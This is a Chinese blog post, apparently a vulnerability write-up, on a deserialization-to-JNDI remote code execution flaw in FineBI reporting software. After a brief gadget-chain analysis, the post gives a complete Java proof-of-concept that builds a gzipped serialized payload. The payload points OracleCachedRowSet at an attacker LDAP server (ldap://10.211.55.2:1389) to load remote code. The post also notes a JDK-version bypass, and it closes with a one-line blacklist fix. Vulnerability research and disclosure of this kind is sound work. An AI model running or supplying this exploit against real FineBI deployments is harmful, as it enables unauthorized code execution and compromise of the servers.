finebi-jndigadget

0x01 漏洞信息

  • 厂商名称:帆软软件有限公司
  • 产品名称: 帆软报表
  • 利用方式:本地。
  • 权限要求:finebiv5 前台,finebiv6 后台
  • 漏洞类型:帆软报表存在反序列化漏洞
  • 是否提供可复现的环境、源码:https://www.finebi.com/product/download
  • 影响版本:FineBI <= V5.1.32, FineBI v6.1 (截止2024.0708日以前)
  • 产品指纹:帆软报表
  • 漏洞证明:
    • 漏洞产生的具体接口、功能:/webroot/decision/remote/design/channel ,反序列化漏洞
    • 完整的漏洞分析及漏洞利用流程:反序列化代码执行,ldap返回本地gadget

0x02 分析

OracleCachedRowSet#getConnectionInternal

image-20240603204410886

这里直接new了一个InitialContextimage-20240523154007471

image-20240523154030734

然后进行了lookup,然后触发。

oracle.jdbc.rowset.OracleRowSet#getDataSourceName

image-20240523154110189

可以看到是直接获取这个属性。可控。

image-20240523154231338

抽象类,可序列化

image-20240523154307368

oracle.jdbc.rowset.OracleCachedRowSet#getConnection 这个方法直接调用。

那种想到需要触发OracleCachedRowSet的getter()方法就能触发。

org.apache.arrow.vector.util.JsonStringArrayList

image-20240708200718668

json序列化,它的tostring会触发jackson的序列化从而触发getter,所以这里就可以出发OracleCachedRowSet.getConnection触发jndi连接。

com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap#convertKey

image-20240708201248096

它会触发key.tostring

com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap#readObject

image-20240708201707434

它的readObject会调用父类的doReadObject

com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap#doReadObject

image-20240708201829725

父类在反序列回触发put方法

com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap#put

image-20240708201909807

put里面触发convertKey

image-20240708201248096

从而触发tosting,完成getter,触发jndi

整体调用

1
2
3
4
5
6
com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap.readObject	
com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap.doReadObject
com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap.put
com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap.convertKey
org.apache.arrow.vector.util.JsonStringArrayList.toString
oracle.jdbc.rowset.OracleCachedRowSet#getConnection

0x03 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.unam4;

import oracle.jdbc.rowset.OracleCachedRowSet;
import org.apache.arrow.vector.util.JsonStringArrayList;
import sun.misc.Unsafe;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.*;
import java.util.Map;
import java.util.Vector;
import java.util.zip.GZIPOutputStream;

public class ceshi {
public static void main(String[] args) throws Exception{
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();

Field dataSourceName = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
dataSourceName.setAccessible(true);
dataSourceName.set(oracleCachedRowSet, "ldap://10.211.55.2:1389/remoteExploit8");

Vector v1 = new Vector();
v1.add(0,"111");
setFieldValue(oracleCachedRowSet, "metaData", new String[]{"111"});
setFieldValue(oracleCachedRowSet, "matchColumnNames", v1);
setFieldValue(oracleCachedRowSet, "matchColumnIndexes", v1);
setFieldValue(oracleCachedRowSet, "monitorLock", null);


JsonStringArrayList objects1 = new JsonStringArrayList();
objects1.add(oracleCachedRowSet);
Map s= (Map) createWithoutConstructor("com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap");
// o.put(objects1,objects1);

utils.setFieldValue(s, "size", 1);
Class<?> nodeB;
try {
nodeB = Class.forName("com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap$HashEntry");
} catch (ClassNotFoundException e) {
nodeB = Class.forName("com.fr.third.org.apache.commons.collections4.map.AbstractHashedMap$HashEntry");
}
Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB,int.class, Object.class, Object.class);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeB, 1);
Array.set(tbl, 0, nodeCons.newInstance(null,0, objects1, "key1"));
setFieldValue(s, "data", tbl);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPOutputStream gzipOutputStream = new GZIPOutputStream(new FileOutputStream("./ceshi"));
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(s);
byte[] data = byteArrayOutputStream.toByteArray();
gzipOutputStream.write(data);
gzipOutputStream.close();

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
return createWithoutConstructor(Class.forName(classname));
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes,
Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
// 可以根据提供的Class的构造器来为classToInstantiate新建对象
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
// 实现不调用原有构造器去实例化一个对象,相当于动态增加了一个构造器
Constructor<?> sc = ReflectionFactory.getReflectionFactory()
.newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}

由于fine自带的jdk大于191,所以需要绕过,这里使用ldap返回本地gadget绕过。

0x05修复方案

org.apache.arrow.vector.util.JsonStringArrayList、com.fr.third.org.apache.commons.collections4.map.CaseInsensitiveMap加入黑名单。


finebi-jndigadget
https://unam4.github.io/2025/12/01/finebi-jndigadget/
作者
unam4
发布于
2025年12月1日
许可协议